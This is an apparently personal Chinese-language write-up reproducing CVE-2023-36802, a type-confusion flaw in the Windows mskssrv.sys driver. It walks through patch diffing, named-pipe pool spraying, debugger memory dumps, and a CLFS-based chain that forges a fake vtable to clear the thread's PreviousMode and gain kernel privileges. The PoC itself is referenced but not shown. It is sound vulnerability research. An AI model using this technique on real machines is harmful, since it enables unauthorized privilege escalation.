返回
顶部

references:

约定,本文所有数字均为16进制

镜像下载网站

镜像地址

sha256: 7f6538f0eb33c30f0a5cbbf2f39973d4c8dea0d64f69bd18e406012f17a8234f

他这个东西的漏洞位置在FSRendezvousServer::FindObject函数中,他这个函数不管你传进来的是个什么对象,最后都会搜索成功,但是后面的代码他又假定这个对象是FSStreamReg对象,然后就导致了漏洞的出现

image-20250526144220949

可以看到这个findobject函数里面,不管你0xc字段的dword是不是1,他都会进行搜索

image-20250526144235917

patch之后的代码如果发现你不是指定类型,直接就返回错误了

这里甚至连函数名都改了

image-20250526144336977

image-20250526144343769

mskssrv里面有两种对象,一个是context一个是stream,两种对象的size不一样,前者是0x78,后者是0x1b8

image-20250526144735573

image-20250526144721186

Object type confusion vulnerability illustration

我跟原始作者的环境好像不太一样,我的stream是0x1b8,他的比我多了0x20字节

我们要控制多出来的这0x140字节的内存

这里是内存分配的代码,0x200代表的是flag——POOL_RAISE_IF_ALLOCATION_FAILURE

并没有明确指定是pagedpool还是non-pagedpool,不指定就默认为non-pagedpool

image-20250526150944325

pool spray 堆喷射

reference:

使用如下内核代码可以dump所有的big page

b4 gPoolBigPageTable;
b4 gPoolBigPageTableSize;
// ed gPoolBigPageTable poi(nt!PoolBigPageTable)
// ed gPoolBigPageTableSize poi(nt!PoolBigPageTableSize)
VOID BigPoolDump(int a) {

    if (a) {

        DbgBreakPoint();

        _POOL_TRACKER_BIG_PAGES* poolTrackerTbl = (_POOL_TRACKER_BIG_PAGES*)gPoolBigPageTable;
        b4 entryCnt = gPoolBigPageTableSize / sizeof(_POOL_TRACKER_BIG_PAGES);
        for (size_t i = 0; i < entryCnt; i++) {
            _POOL_TRACKER_BIG_PAGES curEntry = poolTrackerTbl[i];
            if (curEntry.Va != 1) {
                char* _ = (char*)&(curEntry.Key);
                DbgPrint("VA: 0x%p\nSize: 0x%x\nTag:%c%c%c%c\nFreed: %d\nPaged: %d\nCacheAligned: %d\n",
                    curEntry.Va&(~1), curEntry.NumberOfBytes, _[0], _[1], _[2], _[3],
                    curEntry.Va & 1, curEntry.PoolType & 1, (curEntry.PoolType & 4) == 4);

            }
        }
    }
}

我当时测试的时候这个tarcker表长度为0x1000

kd> ? poi(nt!PoolBigPageTableSize)
Evaluate expression: 65536 = 00010000

image-20250526163242587

另外,这个东西也可以直接使用ntquerysysteminformation api来进行查询

代码

运行结果:

image-20250526172036321

pool control

我我们可以在用户模式下产生一些内核对象,并且这种对象的某些字段是可以被我们控制的,并且这块内存还得是可以执行的

我们现在需要找到一个可以帮助我们实现上面这种效果的用户模式的api

只要我们新分配的内存大小超过一个page(4k),就会触发一个big pool allocation

实现方法如下:

  • 创建一个命名管道,执行一个buffer>4KB的写入操作,只写入不读取,这个操作将会导致内核模块NPFS.sys驱动在non-paged pool中执行一个big pool allocation,在内核中分配一个对应大小的buffer

关于npfs的一些知识

写一个管道测试程序,可以得到如下断点

image-20250526184510004

相关测试程序打包到了这个地方

hook handler代码(我们hook的是nt!ExAllocatePoolWithTag

PVOID __fastcall KHHookHandler_0x2aa010(PVOID a1, PVOID a2, PVOID a3, PVOID a4, PVOID a5) {
    PBYTE _rsp = a5;
    if (a4 == NULL)return 0;

    b4 _esp = a4;
    if (PsGetCurrentProcessId() == gid) {
        b4 tag = d(_esp + 4 + 4 + 4);
        if (tag == 0x7246704E) { // memory tag NpFr 
            DbgPrint("named pipe allocation\n");
            DbgBreakPoint();
        }
    }
    return NULL;
}

从这段代码可以看到,我们实际的userbuffer前面有0x1c字节是所谓的_NP_DATA_QUEUE_ENTRY

image-20250526224311076

image-20250526224347863

我们再用之前的程序枚举一下,看看能不能找到这块内存

找到了:

image-20250526224817578

那么现在我们就已经对0x95CC3000这块内核内存拥有了控制的能力,我们可以通过检索tag来确定我们的内存

由于我们是一直驻留在内存里面的(没有客户端去读取这块buffer,那么这个buffer就会一直停留在内核中)

正常情况下的命名管道里面的数据都是读取完就释放掉了

上面截图中的abcdedfg....这些东西就是我们可以控制的内容

但是这块内存并不是可执行的

image-20250526231234036

从win8开始,non-paged pool默认是non-executable

io ring

references:

利用代码

利用代码分析

初始化context对象,FSInitializeContextRendezvous函数

通过deviceiocontrol和驱动进行交互,控制码0x2F0400

对应的处理代码在这个地方1C0008B93

image-20250610192029901

这个驱动设备的iocontrol mj function是另外一个驱动,windows的ks.sys驱动

负责创建的mj 函数也是在这个驱动中,pnp设备驱动就是这个吊样

image-20250610193609459

内存分配 lfh

https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap

这种小内存块的分配,通过hook exallocate函数是看不到的,这些是预先分配好的小内存块

named pipe 堆喷

https://github.com/vportal/HEVD

这里面有几张图很好的演示了这个利用过程

首先,小尺寸内存喷射,喷完之后内存布局如下

img

然后每隔4个句柄释放一个,释放之后的内存布局如下

image-20250611092853058

之后,重新申请内存,由于lfh的特性,这些刚刚被释放的内存会再次分配给我们,当然这里的释放只是把这块内存标记为可以分配,并不会清空内存中的内容,所以你在内核调试器中看他的时候,这些被free的块很可能拥有和没有被free的块相同的内容

references:https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html

前面先分配内存再挖洞的操作,就是为了后面调用FSInitializeContextRendezvous函数的时候,分配出来的内存可以正好落到我们挖的洞里面,这样就可以使得这个函数新分配出来的对象被我们创造的内存布局所包围,我们可以在内核调试器中观察到这个现象

初始化函数对应的地址是1C0008B70

这里会分配一个context对象

image-20250611095649545

最后会在1C0008CC8处存到FsContext2中

image-20250611095816018

这块内存的size是78

我们前面喷的管道的buffer的size是0n128,也就是80字节,加上pool_header 10字节,一共是90字节,那我们来看一下新分配的这块内存的前90和后90字节的情况

0: kd> dqs ffff98831d6028c0-10-90-90 l2*9+2*9+2*9+2*9
ffff9883`1d602790  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602798  528eeccb`662ca5a6
ffff9883`1d6027a0  00000000`00000000
ffff9883`1d6027a8  00000000`00000000
ffff9883`1d6027b0  00000000`00000000
ffff9883`1d6027b8  00000000`00000000
ffff9883`1d6027c0  00000000`00000000
ffff9883`1d6027c8  00000000`00000000
ffff9883`1d6027d0  00000000`00000000
ffff9883`1d6027d8  00000000`00000000
ffff9883`1d6027e0  00000000`00000000
ffff9883`1d6027e8  00000000`00000000
ffff9883`1d6027f0  00000000`00000000
ffff9883`1d6027f8  ffffaa8e`549342c9     
ffff9883`1d602800  00000000`00000000
ffff9883`1d602808  00000000`00000000
ffff9883`1d602810  00000000`00000000
ffff9883`1d602818  00000000`00000000
ffff9883`1d602820  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602828  528eeccb`662caa16
ffff9883`1d602830  00000000`00000000
ffff9883`1d602838  00000000`00000000
ffff9883`1d602840  00000000`00000000
ffff9883`1d602848  00000000`00000000
ffff9883`1d602850  00000000`00000000
ffff9883`1d602858  00000000`00000000
ffff9883`1d602860  00000000`00000000
ffff9883`1d602868  00000000`00000000
ffff9883`1d602870  00000000`00000000
ffff9883`1d602878  00000000`00000000
ffff9883`1d602880  00000000`00000000
ffff9883`1d602888  ffffaa8e`549342c9
ffff9883`1d602890  00000000`00000000
ffff9883`1d602898  00000000`00000000
ffff9883`1d6028a0  00000000`00000000
ffff9883`1d6028a8  00000000`00000000
ffff9883`1d6028b0  67657243`02090000   // 新分配的context对象
ffff9883`1d6028b8  528eeccb`662caa86
ffff9883`1d6028c0  fffff800`1b883198 MSKSSRV!FSContextReg::`vftable'
ffff9883`1d6028c8  00000000`00000000
ffff9883`1d6028d0  00000000`00000000
ffff9883`1d6028d8  00000000`00000001
ffff9883`1d6028e0  ffff9883`1d6028c0
ffff9883`1d6028e8  00000000`00000001
ffff9883`1d6028f0  00000078`00000001
ffff9883`1d6028f8  ffff9883`145c2080
ffff9883`1d602900  00000000`00000000
ffff9883`1d602908  00000000`00000000
ffff9883`1d602910  00000000`00000001
ffff9883`1d602918  00000000`000007e4
ffff9883`1d602920  00000013`6fe7474d
ffff9883`1d602928  00000000`00000000
ffff9883`1d602930  00000000`00000000
ffff9883`1d602938  00000000`00000000
ffff9883`1d602940  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602948  528eeccb`662cab76
ffff9883`1d602950  00000000`00000000
ffff9883`1d602958  00000000`00000000
ffff9883`1d602960  00000000`00000000
ffff9883`1d602968  00000000`00000000
ffff9883`1d602970  00000000`00000000
ffff9883`1d602978  00000000`00000000
ffff9883`1d602980  00000000`00000000
ffff9883`1d602988  00000000`00000000
ffff9883`1d602990  00000000`00000000
ffff9883`1d602998  00000000`00000000
ffff9883`1d6029a0  00000000`00000000
ffff9883`1d6029a8  ffffaa8e`549342c9
ffff9883`1d6029b0  00000000`00000000
ffff9883`1d6029b8  00000000`00000000
ffff9883`1d6029c0  00000000`00000000
ffff9883`1d6029c8  00000000`00000000

ffff98831d6028c0是context对象的地址,-10拿到pool header地址,我们可以看到其偏移为4的dword,即pool tag,是67657243,即'Creg'

从上面的结果可以看到,context对象前面有两个我们喷的buffer,tag是20206f49,即Io,然后后面也有一个我们喷的buffer,这个新分配的context对象已经彻底被我们包围了

触发漏洞

内存布局完成之后,会触发内核的FSRendezvousServer::PublishRx函数,该函数会调用FSRendezvousServer::FindObject函数

这个函数就是漏洞函数,他本来是应该去搜索stream对象的数组的,但是你即使给他一个context对象,他也能搜出来,而且返回之后他会把context对象当做stream对象来使用,而这两个对象的长度是不一样的,前面我们已经看到context对象的长度是78,而stream对象的长度从init函数1C0008DFF 可以看出来是1b8,比context对象长多了,所以后面肯定会访问到超出context对象合法内存地址的内存

image-20250611110334543

FSRendezvousServer::FindObject 函数

我们稍微看一下这个函数的代码

首先检查对象类型,context的c偏移是1,这个在前面的context的初始化我们已经看到过了

image-20250611110617276

而patch之后的代码会直接检查这个地方是不是2,2表示stream对象,如果不是直接返回0

image-20250611111049146

image-20250611111002602

检查之后,从this中的一个保存了所有对象的链表进行搜索,搜索到就返回true,这里可以看到他把两个对象类型都搜了一下,问题就出在这个地方,这个函数并不关心你要搜索的是什么类型,反正就两种类型都给你搜一下

严格来讲,其实问题不在这个函数,而是在caller,其实caller完全可以先自己判断对象类型,如果不是stream对象,就返回错误就行了

漏洞利用

下图中的a2+8对应的汇编代码是a2+20,a2其实就是inputbuffer,可以由我们随意控制,在代码中我们控制这个地方的dword为1

image-20250611112547384

image-20250611113330704

image-20250611113349508

这里+178,此时需要算一下我们前面的内存布局,每一块内存是90字节,context对象从内存的10处开始,+80就是下一块内存的开始,即我们喷的buffer地址-10,再+90是下一块我们喷的buffer-10,178-80-90=68

略过pool header的10字节,就是我们的buffer的58偏移,我们在代码中控制了buffer的58(0n88)偏移

image-20250611112831487

是blf文件在内核中的buffer的800+2c9偏移,前面在复现clfs漏洞的时候已经介绍过相关基础知识,这里不再赘述

image-20250611113636256

后续代码的分析

image-20250611114701243

最后我们到达unmappages函数,而且v8是完全受我们控制的内核地址

这个函数的最后一个地方有一个往v8的20偏移写入2的操作

image-20250611114839141

这个东西可以结合io ring进行利用,但是google project zero介绍了另外一种通过clfs文件来重写当前进程previos mode的方法

使用clfs

伪造完clfs文件之后,调用createlogfile,该函数最终将会调用到ClfsBaseFilePersisted::CheckSecureAccess

image-20250612081857031

这个函数会在这个地方尝试获取container context

image-20250612083226322

container offset数组的偏移正是328

image-20250612083335802

之后他会使用这里获取到的偏移来得到context context,然后从container context中获取到一个container对象并调用它位于虚函数表+8偏移的函数

image-20250612083434516

本来这个地方应该是存了container context的偏移量1460

image-20250612103045457

但是我们使用前面的漏洞利用FSFrameMdl::UnmapPages中的代码,将0xFFFFB7824D0362C9-2c9+391,即ffffb7824d036391的qword置为0

image-20250612103206378

而这个操作将会导致1460的60被清零,最终container context的偏移就变成了1400,此时我们就可以理解exp代码中这个1400的意思了

image-20250612103429288

这里就是exp代码伪造出来的container context的样子

image-20250612105331090

ffffb7826cb25000是clfs在内核中的800偏移,+70再加container context的偏移1400得到CLFS_CONTAINER_CONTEXT结构体的地址,再加18并取值得到container对象地址0000000001000000 ,这是一个用户模式的地址,完全由我们控制,取值得到虚表地址,可以看到虚表的前两个成员函数被设置为PoFxProcessorNotification和IoSizeofWorkItem函数

另外,container对象的40和48偏移也被伪造了

image-20250612105904430

image-20250612105853428

分别为fakeScratch和fakeBitmapHeader,这两个东西的结构如下图所示

image-20250612105941136

fakeScratch

2: kd> dqs 0000000`01000f00
00000000`01000f00  00000000`00000000
00000000`01000f08  00000000`00000000
00000000`01000f10  00000000`00000000
00000000`01000f18  00000000`00000000
00000000`01000f20  00000000`00000000
00000000`01000f28  00000000`00000000
00000000`01000f30  00000000`00000000
00000000`01000f38  00000000`00000000
00000000`01000f40  00000000`00000000
00000000`01000f48  00000000`00000000
00000000`01000f50  00000000`00000000
00000000`01000f58  00000000`00000000
00000000`01000f60  00000000`00000000
00000000`01000f68  fffff801`22d39510 nt!RtlClearBit

fakeBitmapHeader

2: kd>  dqs 00000000`01000400 l2
00000000`01000400  00000000`00000040
00000000`01000408  ffffa581`1b4412b2

fakeBitmapHeader的8偏移存的正是exp进程的previousmode字段的地址

2: kd> dt _kthread previousmode
ntdll!_KTHREAD
   +0x232 PreviousMode : Char
2: kd> .thread
Implicit thread is now ffffa581`1b441080
2: kd> db /c 1 ffffa581`1b441080+232 l1
ffffa581`1b4412b2  01  .

首先在ClfsBaseFilePersisted::CheckSecureAccess函数中,第一个成员函数会被调用

image-20250612111005076

成功调用到我们伪造的函数中

image-20250612111139260

稍微看一下PoFxProcessorNotification函数

image-20250612111905654

那么最终就会调用到rtlcleabit函数中

nt!RtlClearBit:
fffff801`22d39510 488b4108        mov     rax,qword ptr [rcx+8]
fffff801`22d39514 0fb310          btr     dword ptr [rax],edx
fffff801`22d39517 c3              ret

rcx就是fakeBitmapHeader,他的8偏移是exp进程的previousmode字段的地址,第二条指令的意思是将edx指向的bit清0,而edx是0,那么previousmode的最低位的bit就被清0了,previousmode只有一字节,最低bit原来是1,表示user mode,现在变成0了,表示kernel mode,那么我们就可以直接进行内核内存的操作了

直接操作内核地址进行提权即可

对应poc

clfs的另一套利用方案

我这一套利用方案的思路就是通过unmappages函数中的下面这两条指令

image-20250612230702425

来将正常的container context的对象的地址修改为一个可以确定的值

我们创建一个log文件,获取到clfs 800偏移的地址,然后给他添加一个container,默认情况下,container context的偏移是1460,那么我们就可以计算出container对象的地址,然后通过堆喷射结合上面那两条指令对container对象的地址进行操作,最终使得container对象的地址变成200000000,然后我们直接在exp中指定这个基地址进行内存的分配,构造container对象,然后关闭log文件 句柄,触发ObfDereferenceObjectWithTag函数的调用,使用这个函数给previousmode减一即可

image-20250612231146608

可以看到,函数运行完成后,previousmode从0变成1

image-20250612231321646

下面是操作container对象地址的过程

对应poc